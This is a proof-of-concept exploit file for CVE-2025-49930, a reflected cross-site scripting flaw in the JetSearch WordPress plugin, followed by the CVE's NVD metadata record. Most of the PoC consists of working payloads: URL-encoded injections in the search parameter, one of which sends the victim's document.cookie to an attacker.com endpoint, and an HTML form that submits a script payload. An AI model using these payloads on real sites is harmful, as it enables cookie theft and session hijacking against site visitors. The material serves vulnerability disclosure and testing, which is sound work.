CVE-2025-49930

<!-- CVE-2025-49930 PoC: Reflected XSS in JetSearch --> <!-- Attack Scenario: Victim clicks on malicious URL --> <!-- The following URL contains XSS payload in search parameter --> <!-- Malicious URL (encoded version) --> https://target-site.com/?s=%3Cimg%20src%3Dx%20onerror%3Dalert%28document.cookie%29%3E <!-- Alternative payload using script tag --> https://target-site.com/?s=%3Cscript%3Efetch%28%27https%3A%2F%2Fattacker.com%2Fsteal%3Fcookie%3D%27%2Bdocument.cookie%29%3C%2Fscript%3E <!-- PoC HTML form for demonstration --> <form action="https://vulnerable-site.com/" method="GET"> <input type="text" name="s" value='<script>alert(String.fromCharCode(88,83,83))</script>'> <button type="submit">Search</button> </form> <!-- Technical details --> <!-- Vulnerable parameter: s (search query) --> <!-- Attack vector: URL parameter injection --> <!-- Impact: Cookie theft, session hijacking, phishing --> <!-- Mitigation: Upgrade to version > 3.5.10 and implement input sanitization -->

{"cve": {"id": "CVE-2025-49930", "sourceIdentifier": "[email protected]", "published": "2025-10-22T15:15:39.103", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Crocoblock JetSearch jet-search allows Reflected XSS.This issue affects JetSearch: from n/a through <= 3.5.10."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/jet-search/vulnerability/wordpress-jetsearch-plugin-3-5-10-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}